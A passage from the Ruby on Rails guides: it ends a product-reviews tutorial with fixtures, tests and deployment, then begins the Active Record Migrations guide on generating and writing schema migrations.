  user: two
  rating: 4
  body: Great quality.
```

Let's also set the correct `rating` on the product fixtures to match their review ratings.

Update `test/fixtures/products.yml` with the following:

```
tshirt:
  name: T-Shirt
  inventory_count: 15
  rating: 4.5
  reviews_count: 2

shoes:
  name: Shoes
  inventory_count: 0
  rating: 0
  reviews_count: 0
```

### [7.2. Creating Reviews Tests](#creating-reviews-tests)

Let's start simple by writing a test to create a review in `test/models/review_test.rb`

```
require "test_helper"

class ReviewTest < ActiveSupport::TestCase
  test "create review" do
    assert_nothing_raised do
      products(:tshirt).reviews.create!(
        user: users(:one),
        rating: 5,
        body: "I love this product."
      )
    end
  end
end
```

Now run the tests to see it pass:

```
$ bin/rails test test/models/review_test.rb
Running 1 tests in a single process (parallelization threshold is 50)
Run options: --seed 42591

# Running:

.

Finished in 0.317256s, 3.1520 runs/s, 3.1520 assertions/s.
1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
```

### [7.3. Testing Invalid Ratings](#testing-invalid-ratings)

Ratings need to be between 1 and 5 stars. Let's add a test for that in `test/models/review_test.rb` too.

```
test "invalid rating" do
  review = products(:tshirt).reviews.create(
    rating: 0,
    user: users(:one),
    body: "Example"
  )

  refute review.valid?
  assert review.errors.has_key?(:rating)
end
```

For this test, we assert that the review is not valid with a `0` rating and that `rating` is one of the attributes with errors.

Let's run it:

```
$ bin/rails test test/models/review_test.rb
Running 2 tests in a single process (parallelization threshold is 50)
Run options: --seed 19665

# Running:

..

Finished in 0.323206s, 6.1880 runs/s, 9.2820 assertions/s.
2 runs, 3 assertions, 0 failures, 0 errors, 0 skips
```

### [7.4. Testing Product Average Ratings](#testing-product-average-ratings)

Since reviews trigger updates on the associated product, we need to write a test for that too.

Add the following to `test/models/review_test.rb`:

```
test "updates product rating" do
  product = products(:tshirt)
  assert_equal 4.5, product.rating

  product.reviews.create!(
    rating: 3,
    user: users(:one),
    body: "Love it"
  )

  assert_equal 4, product.rating
end
```

Our product fixture has a rating of `4.5`, so by creating a new 3-star review, we can assert that our product's new average is `4`.

Run the tests:

```
$ bin/rails test test/models/review_test.rb
Running 3 tests in a single process (parallelization threshold is 50)
Run options: --seed 28957

# Running:

...

Finished in 0.347102s, 8.6430 runs/s, 14.4050 assertions/s.
3 runs, 5 assertions, 0 failures, 0 errors, 0 skips
```

### [7.5. `rated` Scope Test](#rated-scope-test)

Another thing we can test is the `rated` scope.

```
test "rated scope" do
  assert_equal Review.where(rating: 5), Review.rated(5)
  assert_equal Review.all, Review.rated(nil)
  assert_empty Review.rated("invalid")
end
```

This test ensures the results are correct for each of the cases we covered earlier:

* 1-5 rating
* Invalid rating
* Nil or empty rating

Run the tests:

```
$ bin/rails test test/models/review_test.rb
Running 4 tests in a single process (parallelization threshold is 50)
Run options: --seed 38054

# Running:

....

Finished in 0.351257s, 11.3877 runs/s, 25.6223 assertions/s.
4 runs, 9 assertions, 0 failures, 0 errors, 0 skips
```

### [7.6. Review Creation Test](#review-creation-test)

Next, let's add an integration test for a customer creating a review. We'll start by generating an integration test file.

```
$ bin/rails generate integration_test reviews

      invoke  test_unit
      create    test/integration/reviews_test.rb
```

In `test/integrations/reviews_test.rb`, let's add a test that submits a review as a logged-in user.

```
require "test_helper"

class ReviewsTest < ActionDispatch::IntegrationTest
  test "review a product" do
    product = products(:tshirt)
    sign_in_as users(:one)
    assert_difference "Review.count" do
      post product_reviews_path(product), params: { review: { rating: 3, body: "Example" } }
      assert_redirected_to product
    end
  end
end
```

This test logs in and submits a product review, just like a user would submit in their browser.

Run this test with the following command:

```
$ bin/rails test test/integration/reviews_test.rb
Running 1 tests in a single process (parallelization threshold is 50)
Run options: --seed 18242

# Running:

.

Finished in 0.642394s, 1.5567 runs/s, 6.2267 assertions/s.
1 runs, 4 assertions, 0 failures, 0 errors, 0 skips
```

It passes!

### [7.7. Filtering Reviews Tests](#filtering-reviews-tests)

We also want to test filtering reviews on the frontend. Let's add a new test to the same integration test file.

```
require "test_helper"

class ReviewsTest < ActionDispatch::IntegrationTest
  include ActionView::RecordIdentifier

  test "review a product" do
    product = products(:tshirt)
    sign_in_as users(:one)
    assert_difference "Review.count" do
      post product_reviews_path(product), params: { review: { rating: 3, body: "Example" } }
      assert_redirected_to product
    end
  end

  test "filter product reviews" do
    get product_path(products(:tshirt), rating: 5)
    assert_response :success
    assert_dom "div", text: "Filtered by 5 stars. Clear filter"
    assert_dom "#" + dom_id(reviews(:five_star))
    assert_not_dom "#" + dom_id(reviews(:four_star))
  end
end
```

This test loads the product filtered to 5 star ratings. We assert several things to ensure it worked:

* The page successfully loaded
* The page contains the filter text and link to clear the filter
* The page contains the 5 star review
* The page *does not* contain the 4 star review

With those assertions, we can be confident that the review filter was applied correctly.

```
$ bin/rails test test/integration/reviews_test.rb
Running 2 tests in a single process (parallelization threshold is 50)
Run options: --seed 9516

# Running:

..

Finished in 0.720307s, 2.7766 runs/s, 11.1064 assertions/s.
2 runs, 8 assertions, 0 failures, 0 errors, 0 skips
```

### [7.8. Review Management Tests](#review-management-tests)

Let's finish up by adding a couple tests to ensure that only admins can access the review management section in the admin area.

We already have an integration test file for this, so we'll add the following to `test/integration/settings_test.rb`

```
test "regular user cannot access /store/reviews" do
  sign_in_as users(:one)
  get store_reviews_path
  assert_response :redirect
  assert_equal "You aren't allowed to do that.", flash[:alert]
end

test "admin can access /store/reviews" do
  sign_in_as users(:admin)
  get store_reviews_path
  assert_response :success
end
```

Let's run these new tests:

```
$ bin/rails test test/integration/settings_test.rb
Running 8 tests in a single process (parallelization threshold is 50)
Run options: --seed 41516

# Running:

........

Finished in 0.689592s, 11.6011 runs/s, 18.8517 assertions/s.
8 runs, 13 assertions, 0 failures, 0 errors, 0 skips
```

Great!

We should also run the entire test suite to ensure everything passes.

```
$ bin/rails test
Running 40 tests in a single process (parallelization threshold is 50)
Run options: --seed 27614

# Running:

........................................

Finished in 1.865963s, 21.4367 runs/s, 55.7353 assertions/s.
40 runs, 104 assertions, 0 failures, 0 errors, 0 skips
```

## [8. Deploying to Production](#deploying-to-production)

Now that we're finished adding product reviews, let's deploy them to production. Commit and push your changes to the Git repository and then run:

```
$ bin/kamal deploy
```

## [9. What's Next](#what-s-next)

Your e-commerce store now has product reviews to help customers make more informed decisions about your products!

Here are a few ideas to build on to this:

* Write more tests
* Finish translating the app into another language
* Add a carousel for product images
* Improve the design with CSS
* Add payments to buy products
* Limit the number of reviews displayed on the product page

Happy building!

[Return to all tutorials](https://rubyonrails.org/docs/tutorials)

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/active_record_migrations.html
----

***

## [1. Migration Overview](#migration-overview)

Migrations are a convenient way to [evolve your database schema over time](https://en.wikipedia.org/wiki/Schema_migration) in a reproducible way. They use a Ruby [DSL](https://en.wikipedia.org/wiki/Domain-specific_language) so that you don't have to write [SQL](https://en.wikipedia.org/wiki/SQL) by hand, allowing your schema and changes to be database independent. We recommend that you read the guides for [Active Record Basics](active_record_basics.html) and the [Active Record Associations](association_basics.html) to learn more about some of the concepts mentioned here.

You can think of each migration as being a new 'version' of the database. A schema starts off with nothing in it, and each migration modifies it to add or remove tables, columns, or indexes. Active Record knows how to update your schema along this timeline, bringing it from whatever point it is in the history to the latest version. Read more about [how Rails knows which migration in the timeline to run](#rails-migration-version-control).

Active Record updates your `db/schema.rb` file to match the up-to-date structure of your database. Here's an example of a migration:

```
# db/migrate/20240502100843_create_products.rb
class CreateProducts < ActiveRecord::Migration[8.1]
  def change
    create_table :products do |t|
      t.string :name
      t.text :description

      t.timestamps
    end
  end
end
```

This migration adds a table called `products` with a string column called `name` and a text column called `description`. A primary key column called `id` will also be added implicitly, as it's the default primary key for all Active Record models. The `timestamps` macro adds two columns, `created_at` and `updated_at`. These special columns are automatically managed by Active Record if they exist.

```
# db/schema.rb
ActiveRecord::Schema[8.1].define(version: 2024_05_02_100843) do
  # These are extensions that must be enabled in order to support this database
  enable_extension "pg_catalog.plpgsql"

  create_table "products", force: :cascade do |t|
    t.string "name"
    t.text "description"
    t.datetime "created_at", null: false
    t.datetime "updated_at", null: false
  end
end
```

We define the change that we want to happen moving forward in time. Before this migration is run, there will be no table. After it is run, the table will exist. Active Record knows how to reverse this migration as well; if we roll this migration back, it will remove the table. Read more about rolling back migrations in the [Rolling Back section](#rolling-back).

After defining the change that we want to occur moving forward in time, it's essential to consider the reversibility of the migration. While Active Record can manage the forward progression of the migration, ensuring the creation of the table, the concept of reversibility becomes crucial. With reversible migrations, not only does the migration create the table when applied, but it also enables smooth rollback functionality. In case of reverting the migration above, Active Record intelligently handles the removal of the table, maintaining database consistency throughout the process. See the [Reversing Migrations section](#using-reversible) for more details.

## [2. Generating Migration Files](#generating-migration-files)

### [2.1. Creating a Standalone Migration](#creating-a-standalone-migration)

Migrations are stored as files in the `db/migrate` directory, one for each migration class.

The name of the file is of the form `YYYYMMDDHHMMSS_create_products.rb`, it contains a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name.

For example, `20240502100843_create_products.rb` should define class `CreateProducts` and `20240502101659_add_details_to_products.rb` should define class `AddDetailsToProducts`. Rails uses this timestamp to determine which migration should be run and in what order, so if you're copying a migration from another application or generating a file yourself, be aware of its position in the order. You can read more about how the timestamps are used in the [Rails Migration Version Control section](#rails-migration-version-control).

You can override the directory that migrations are stored in by setting the `migrations_paths` option in your `config/database.yml`.

When generating a migration, Active Record automatically prepends the current timestamp to the file name of the migration. For example, running the command below will create an empty migration file whereby the filename is made up of a timestamp prepended to the underscored name of the migration.

```
$ bin/rails generate migration AddPartNumberToProducts
```

```
# db/migrate/20240502101659_add_part_number_to_products.rb
class AddPartNumberToProducts < ActiveRecord::Migration[8.1]
  def change
  end
end
```

The generator can do much more than prepend a timestamp to the file name. Based on naming conventions and additional (optional) arguments it can also start fleshing out the migration.

The following sections will cover the various ways you can create migrations based on conventions and additional arguments.

### [2.2. Creating a New Table](#creating-a-new-table)

When you want to create a new table in your database, you can use a migration with the format "CreateXXX" followed by a list of column names and types. This will generate a migration file that sets up the table with the specified columns.

```
$ bin/rails generate migration CreateProducts name:string part_number:string
```

generates

```
class CreateProducts < ActiveRecord::Migration[8.1]
  def change
    create_table :products do |t|
      t.string :name
      t.string :part_number

      t.timestamps
    end
  end
end
```

If you don't specify a type for a field (e.g., `name` instead of `name:string`), Rails will default to type `string`.

The generated file with its contents is just a starting point, and you can add or remove from it as you see fit by editing the `db/migrate/YYYYMMDDHHMMSS_create_products.rb` file.

### [2.3. Adding Columns](#adding-columns)

When you want to add a new column to an existing table in your database, you can use a migration with the format "AddColumnToTable" followed by a list of column names and types. This will generate a migration file containing the appropriate [`add_column`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column) statements.

```
$ bin/rails generate migration AddPartNumberToProducts part_number:string
```

This will generate the following migration:

```
class AddPartNumberToProducts < ActiveRecord::Migration[8.1]
  def change
    add_column :products, :part_number, :string
  end
end
```

Rails infers the target table from the migration name when it matches the `add_<columns>_to_<table>` or `remove_<columns>_from_<table>` patterns. Using a name such as `AddPartNumberToProducts` lets the generator configure `add_column :products, ...` automatically. For more on these conventions, run `bin/rails generate migration --help` to see the generator usage and examples.

If you'd like to add an index on the new column, you can do that as well.

```
$ bin/rails generate migration AddPartNumberToProducts part_number:string:index
```

This will generate the appropriate [`add_column`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column) and [`add_index`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index) statements:

```
class AddPartNumberToProducts < ActiveRecord::Migration[8.1]
  def change
    add_column :products, :part_number, :string
    add_index :products, :part_number
  end
end
```

You are **not** limited to one magically generated column. For example:

```
$ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal
```

This will generate a schema migration which adds two additional columns to the `products` table.

```
class AddDetailsToProducts < ActiveRecord::Migration[8.1]
  def change
    add_column :products, :part_number, :string
    add_column :products, :price, :decimal
  end
end
```

### [2.4. Removing Columns](#removing-columns)

Similarly, if the migration name is of the form "RemoveColumnFromTable" and is followed by a list of column names and types then a migration containing the appropriate [`remove_column`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_column) statements will be created.

```
$ bin/rails generate migration RemovePartNumberFromProducts part_number:string
```

This will generate the appropriate [`remove_column`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_column) statements:

```
class RemovePartNumberFromProducts < ActiveRecord::Migration[8.1]
  def change
    remove_column :products, :part_number, :string
  end
end
```

### [2.5. Creating Associations](#creating-associations)

Active Record associations are used to define relationships between different models in your application, allowing them to interact with each other through their relationships and making it easier to work with related data. To learn more about associations, you can refer to the [Association Basics guide](association_basics.html).

One common use case for associations is creating foreign key references between tables. The generator accepts column types such as `references` to facilitate this process. [References](#references) are a shorthand for creating columns, indexes, foreign keys, or even polymorphic association columns.

For example,

```
$ bin/rails generate migration AddUserRefToProducts user:references
```

generates the following [`add_reference`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference) call:

```
class AddUserRefToProducts < ActiveRecord::Migration[8.1]
  def change
    add_reference :products, :user, null: false, foreign_key: true
  end
end
```

The above migration creates a foreign key called `user_id` in the `products` table, where `user_id` is a reference to the `id` column in the `users` table. It also creates an index for the `user_id` column. The schema looks as follows:

```
  create_table "products", force: :cascade do |t|
    t.bigint "user_id", null: false
    t.index ["user_id"], name: "index_products_on_user_id"
  end
```

`belongs_to` is an alias of `references`, so the above could be alternatively written as:

```
$ bin/rails generate migration AddUserRefToProducts user:belongs_to
```

generating a migration and schema that is the same as above.

There is also a generator which will produce join tables if `JoinTable` is part of the name:

```
$ bin/rails generate migration CreateJoinTableUserProduct user product
```

will produce the following migration:

```
class CreateJoinTableUserProduct < ActiveRecord::Migration[8.1]
  def change
    create_join_table :users, :products do |t|
      # t.index [:user_id, :product_id]
      # t.index [:product_id, :user_id]
    end
  end
end
```

### [2.6. Other Generators that Create Migrations](#other-generators-that-create-migrations)

In addition to the `migration` generator, the `model`, `resource`, and `scaffold` generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want, then statements for adding these columns will also be created. For example, running:

```
$ bin/rails generate model Product name:string description:text
```

This will create a migration that looks like this:

```
class CreateProducts < ActiveRecord::Migration[8.1]
  def change
    create_table :products do |t|
      t.string :name
      t.text :description

      t.timestamps
    end
  end
end
```

You can append as many column name/type pairs as you want.

### [2.7. Passing Modifiers](#passing-modifiers)

When generating migrations, you can pass commonly used [type modifiers](#column-modifiers) directly on the command line. These modifiers, enclosed by curly braces and following the field type, allow you to tailor the characteristics of your database columns without needing to manually edit the migration file afterward.

For instance, running:

```
$ bin/rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic}
```

will produce a migration that looks like this

```
class AddDetailsToProducts < ActiveRecord::Migration[8.1]
  def change
    add_column :products, :price, :decimal, precision: 5, scale: 2
    add_reference :products, :supplier, polymorphic: true
  end
end
```

`NOT NULL` constraints can be imposed from the command line using the `!` shortcut:

```
$ bin/rails generate migration AddEmailToUsers email:string!
```

will produce this migration

```
class AddEmailToUsers < ActiveRecord::Migration[8.1]
  def change
    add_column :users, :email, :string, null: false
  end
end
```

For further help with generators, run `bin/rails generate --help`. Alternatively, you can also run `bin/rails generate model --help` or `bin/rails generate migration --help` for help with specific generators.

## [3. Updating Migrations](#updating-migrations)

Once you have created your migration file using one of the generators from the above [section](#generating-migration-files), you can update the generated migration file in the `db/migrate` folder to define further changes you want to make to your database schema.

### [3.1. Creating a Table](#creating-a-table)

The [`create_table`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-create_table) method is one of the most fundamental migration type, but most of the time, will be generated for you from using a model, resource, or scaffold generator. A typical use would be

```
create_table :products do |t|
  t.string :name
end
```

This method creates a `products` table with a column called `name`.

#### [3.1.1. Associations](#associations)

If you're creating a table for a model that has an association, you can use the `:references` type to create the appropriate column type. For example:

```
create_table :products do |t|
  t.references :category
end
```

This will create a `category_id` column. Alternatively, you can use `belongs_to` as an alias for `references`:

```
create_table :products do |t|
  t.belongs_to :category
end
```

You can also specify the column type and index creation using the [`:polymorphic`](association_basics.html#polymorphic-associations) option:

```
create_table :taggings do |t|
  t.references :taggable, polymorphic: true
end
```

This will create `taggable_id`, `taggable_type` columns and the appropriate indexes.

#### [3.1.2. Primary Keys](#primary-keys)

By default, `create_table` will implicitly create a primary key called `id` for you. You can change the name of the column with the `:primary_key` option, like below:

```
class CreateUsers < ActiveRecord::Migration[8.1]
  def change
    create_table :users, primary_key: "user_id" do |t|
      t.string :username
      t.string :email
      t.timestamps
    end
  end
end
```

This will yield the following schema:

```
create_table "users", primary_key: "user_id", force: :cascade do |t|
  t.string "username"
  t.string "email"
  t.datetime "created_at", precision: 6, null: false
  t.datetime "updated_at", precision: 6, null: false
end
```

You can also pass an array to `:primary_key` for a composite primary key. Read more about [composite primary keys](active_record_composite_primary_keys.html).

```
class CreateUsers < ActiveRecord::Migration[8.1]
  def change
    create_table :users, primary_key: [:id, :name] do |t|
      t.string :name
      t.string :email
      t.timestamps
    end
  end
end
```

If you don't want a primary key at all, you can pass the option `id: false`.

```
class CreateUsers < ActiveRecord::Migration[8.1]
  def change
    create_table :users, id: false do |t|
      t.string :username
      t.string :email
      t.timestamps
    end
  end
end
```

#### [3.1.3. Database Options](#database-options)

If you need to pass database-specific options you can place an SQL fragment in the `:options` option. For example:

```
create_table :products, options: "ENGINE=BLACKHOLE" do |t|
  t.string :name, null: false
end
```

This will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table.

An index can be created on the columns created within the `create_table` block by passing `index: true` or an options hash to the `:index` option:

```
create_table :users do |t|
  t.string :name, index: true
  t.string :email, index: { unique: true, name: "unique_emails" }
end
```

#### [3.1.4. Comments](#comments)

You can pass the `:comment` option with any description for the table that will be stored in the database itself and can be viewed with database administration tools, such as MySQL Workbench or pgAdmin. Comments can help team members to better understand the data model and to generate documentation in applications with large databases. Currently only the MySQL and PostgreSQL adapters support comments.

```
class AddDetailsToProducts < ActiveRecord::Migration[8.1]
  def change
    add_column :products, :price, :decimal, precision: 8, scale: 2, comment: "The price of the product in USD"
    add_column :products, :stock_quantity, :integer, comment: "The current stock quantity of the product"
  end
end
```

### [3.2. Creating a Join Table](#creating-a-join-table)

The migration method [`create_join_table`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-create_join_table) creates an [HABTM (has and belongs to many)](association_basics.html#has-and-belongs-to-many) join table. A typical use would be:

```
create_join_table :products, :categories
```

This migration will create a `categories_products` table with two columns called `category_id` and `product_id`.

These columns have the option `:null` set to `false` by default, meaning that you **must** provide a value in order to save a record to this table. This can be overridden by specifying the `:column_options` option:

```
create_join_table :products, :categories, column_options: { null: true }
```

By default, the name of the join table comes from the union of the first two arguments provided to create\_join\_table, in lexical order. In this case, the table would be named `categories_products`.

The precedence between model names is calculated using the `<=>` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper\_boxes" and "papers" to generate a join table name of "papers\_paper\_boxes" because of the length of the name "paper\_boxes", but it in fact generates a join table name of "paper\_boxes\_papers" (because the underscore '\_' is lexicographically *less* than 's' in common encodings).

To customize the name of the table, provide a `:table_name` option:

```
create_join_table :products, :categories, table_name: :categorization
```

This creates a join table with the name `categorization`.

Also, `create_join_table` accepts a block, which you can use to add indices (which are not created by default) or any additional columns you so choose.

```
create_join_table :products, :categories do |t|
  t.index :product_id
  t.index :category_id
end
```

### [3.3. Changing Tables](#changing-tables)

If you want to change an existing table in place, there is [`change_table`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_table).

It is used in a similar fashion to `create_table` but the object yielded inside the block has access to a number of special functions, for example:

```
change_table :products do |t|
  t.remove :description, :name
  t.string :part_number
  t.index :part_number
  t.rename :upccode, :upc_code
end
```

This migration will remove the `description` and `name` columns, create a new string column called `part_number` and add an index on it. Finally, it renames the `upccode` column to `upc_code`.

### [3.4. Changing Columns](#changing-columns)

Similar to the `remove_column` and `add_column` methods we covered [earlier](#adding-columns), Rails also provides the [`change_column`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column) migration method.

```
change_column :products, :part_number, :text
```

This changes the column `part_number` on products table to be a `:text` field.

The `change_column` command is **irreversible**. To ensure your migration can be safely reverted, you will need to provide your own `reversible` migration. See the [Reversible Migrations section](#using-reversible) for more details.

Besides `change_column`, the [`change_column_null`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_null) and [`change_column_default`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_default) methods are used to change a null constraint and default values of a column.

```
change_column_default :products, :approved, from: true, to: false
```

This changes the default value of the `:approved` field from true to false. This change will only be applied to future records, any existing records do not change. Use [`change_column_null`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_null) to change a null constraint.

```
change_column_null :products, :name, false
```

This sets `:name` field on products to a `NOT NULL` column. This change applies to existing records as well, so you need to make sure all existing records have a `:name` that is `NOT NULL`.

Setting the null constraint to `true` implies that column will accept a null value, otherwise the `NOT NULL` constraint is applied and a value must be passed in order to persist the record to the database.

You could also write the above `change_column_default` migration as `change_column_default :products, :approved, false`, but unlike the previous example, this would make your migration irreversible.

### [3.5. Column Modifiers](#column-modifiers)

Column modifiers can be applied when creating or changing a column:

* `comment` Adds a comment for the column.
* `collation` Specifies the collation for a `string` or `text` column.
* `default` Allows to set a default value on the column. Note that if you are using a dynamic value (such as a date), the default will only be calculated the first time (i.e. on the date the migration is applied). Use `nil` for `NULL`. Depending on your database, existing records may not receive the default value.
* `limit` Sets the maximum number of characters for a `string` column and the maximum number of bytes for `text/binary/integer` columns.
* `null` Allows or disallows `NULL` values in the column.
* `precision` Specifies the precision for `decimal/numeric/datetime/time` columns.
* `scale` Specifies the scale for the `decimal` and `numeric` columns, representing the number of digits after the decimal point.

For `add_column` or `change_column` there is no option for adding indexes. They need to be added separately using `add_index`.

Some adapters may support additional options; see the adapter specific API docs for further information.

`default` cannot be specified via command line when generating migrations.

### [3.6. References](#references)

The `add_reference` method allows the creation of an appropriately named column acting as the connection between one or more associations.

```
add_reference :users, :role
```

This migration will create a foreign key column called `role_id` in the users table. `role_id` is a reference to the `id` column in the `roles` table. In addition, it creates an index for the `role_id` column, unless it is explicitly told not to do so with the `index: false` option.

See also the [Active Record Associations](association_basics.html) guide to learn more.

The method `add_belongs_to` is an alias of `add_reference`.

```
add_belongs_to :taggings, :taggable, polymorphic: true
```

The polymorphic option will create two columns on the taggings table which can be used for polymorphic associations: `taggable_type` and `taggable_id`.

See this guide to learn more about [polymorphic associations](association_basics.html#polymorphic-associations).

A foreign key can be created with the `foreign_key` option.

```
add_reference :users, :role, foreign_key: true
```

For more `add_reference` options, visit the [API documentation](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference).

References can also be removed:

```
remove_reference :products, :user, foreign_key: true, index: false
```

### [3.7. Foreign Keys](#foreign-keys)

While it's not required, you might want to add foreign key constraints to [guarantee referential integrity](#active-record-and-referential-integrity).

```
add_foreign_key :articles, :authors
```

The [`add_foreign_key`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_foreign_key) call adds a new constraint to the `articles` table. The constraint guarantees that a row in the `authors` table exists where the `id` column matches the `articles.author_id` to ensure all authors listed in the articles table are valid authors listed in the authors table.

When using `references` in a migration, you are creating a new column in the table and you'll have the option to add a foreign key using `foreign_key: true` to that column. However, if you want to add a foreign key to an existing column, you can use `add_foreign_key`.

If the column name of the table to which we're adding the foreign key cannot be derived from the table with the referenced primary key then you can use the `:column` option to specify the column name. Additionally, you can use the `:primary_key` option if the referenced primary key is not `:id`.

For example, to add a foreign key on `articles.reviewer` referencing `authors.email`:

```
add_foreign_key :articles, :authors, column: :reviewer, primary_key: :email
```

This will add a constraint to the `articles` table that guarantees a row in the `authors` table exists where the `email` column matches the `articles.reviewer` field.

Several other options such as `name`, `on_delete`, `if_not_exists`, `validate`, and `deferrable` are supported by `add_foreign_key`.

Foreign keys can also be removed using [`remove_foreign_key`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_foreign_key):

```
# let Active Record figure out the column name
remove_foreign_key :accounts, :branches

# remove foreign key for a specific column
remove_foreign_key :accounts, column: :owner_id
```

Active Record only supports single column foreign keys. `execute` and `structure.sql` are required to use composite foreign keys. See [Schema Dumping and You](#schema-dumping-and-you).

### [3.8. Composite Primary Keys](#composite-primary-keys)

Sometimes a single column's value isn't enough to uniquely identify every row of a table, but a combination of two or more columns *does* uniquely identify it. This can be the case when using a legacy database schema without a single `id` column as a primary key, or when altering schemas for sharding or multitenancy.

You can create a table with a composite primary key by passing the `:primary_key` option to `create_table` with an array value:

```
class CreateProducts < ActiveRecord::Migration[8.1]
  def change
    create_table :products, primary_key: [:customer_id, :product_sku] do |t|
      t.integer :customer_id
      t.string :product_sku
      t.text :description
    end
  end
end
```

Tables with composite primary keys require passing array values rather than integer IDs to many methods. See also the [Active Record Composite Primary Keys](active_record_composite_primary_keys.html) guide to learn more.

### [3.9. Execute SQL](#execute-sql)

If the helpers provided by Active Record aren't enough, you can use the [`execute`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html#method-i-execute) method to execute SQL commands. For example,

```
class UpdateProductPrices < ActiveRecord::Migration[8.1]
  def up
    execute "UPDATE products SET price = 'free'"
  end

  def down
    execute "UPDATE products SET price = 'original_price' WHERE price = 'free';"
  end
end
```

In this example, we're updating the `price` column of the products table to 'free' for all records.

Modifying data directly in migrations should be approached with caution. Consider if this is the best approach for your use case, and be aware of potential drawbacks such as increased complexity and maintenance overhead, risks to data integrity and database portability. See the [Data Migrations documentation](#data-migrations) for more details.

For more details and examples of individual methods, check the API documentation.

In particular the documentation for [`ActiveRecord::ConnectionAdapters::SchemaStatements`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html), which provides the methods available in the `change`, `up` and `down` methods.

For methods available regarding the object yielded by `create_table`, see [`ActiveRecord::ConnectionAdapters::TableDefinition`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html).

And for the object yielded by `change_table`, see [`ActiveRecord::ConnectionAdapters::Table`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/Table.html).

### [3.10. Using the `change` Method](#using-the-change-method)

The `change` method is the primary way of writing migrations. It works for the majority of cases in which Active Record knows how to reverse a migration's actions automatically. Below are some of the actions that `change` supports:

* [`add_check_constraint`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_check_constraint)
* [`add_column`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column)
* [`add_foreign_key`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_foreign_key)
* [`add_index`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index)
* [`add_reference`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference)
* [`add_timestamps`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_timestamps)
* [`change_column_comment`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_comment) (must supply `:from` and `:to` options)
* [`change_column_default`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_default) (must supply `:from` and `:to` options)
* [`change_column_null`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_null)
* [`change_table_comment`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_table_comment) (must supply `:from` and `:to` options)
* [`create_join_table`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-create_join_table)
* [`create_table`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-create_table)
* `disable_extension`
* [`drop_join_table`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-drop_join_table)
* [`drop_table`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-drop_table) (must supply table creation options and block)
* `enable_extension`
* [`remove_check_constraint`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_check_constraint) (must supply original constraint expression)
